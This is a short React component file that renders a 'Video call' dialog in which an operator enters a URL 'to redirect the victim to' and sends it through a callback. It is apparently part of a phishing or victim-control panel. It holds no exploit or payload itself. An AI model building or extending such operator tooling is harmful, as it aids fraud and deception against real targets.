import { Button } from '@/components/ui/button'
import {
  Dialog,
  DialogContent,
  DialogDescription,
  DialogHeader,
  DialogTitle,
  DialogTrigger
} from '@/components/ui/dialog'
import { Input } from '@/components/ui/input'
import { useState } from 'react'

interface PhoneInputProps {
  send: (targ: string) => void
}

export function VideoCallUrl ({ send }: PhoneInputProps) {
  const [open, setOpen] = useState(false)
  const [code, setCde] = useState<string>('')
  return (
    <Dialog open={open} onOpenChange={setOpen}>
      <DialogTrigger asChild>
        <Button variant={'outline'} >
          Video call
        </Button>
      </DialogTrigger>
      <DialogContent className='sm:max-w-[425px]'>
        <DialogHeader>
          <DialogTitle>Custom Redirect</DialogTitle>
          <DialogDescription>
          Write down the url to redirect the victim to.
          </DialogDescription>
        </DialogHeader>
        <div className='grid gap-4 py-4'>
          <form
            className='grid grid-cols-4 items-center gap-4'
            onSubmit={event => {
              event.preventDefault()
              send(code)
              setOpen(false)
            }}
          >
            <Input
              id='name'
              placeholder='https://talk.brave.com/'
              className='col-span-4 border-border h-[45px] px-3'
              value={code}
              onChange={(value) => setCde(value.target.value)}
            />
            <Button type='submit'>Submit</Button>
          </form>
        </div>
      </DialogContent>
    </Dialog>
  )
}
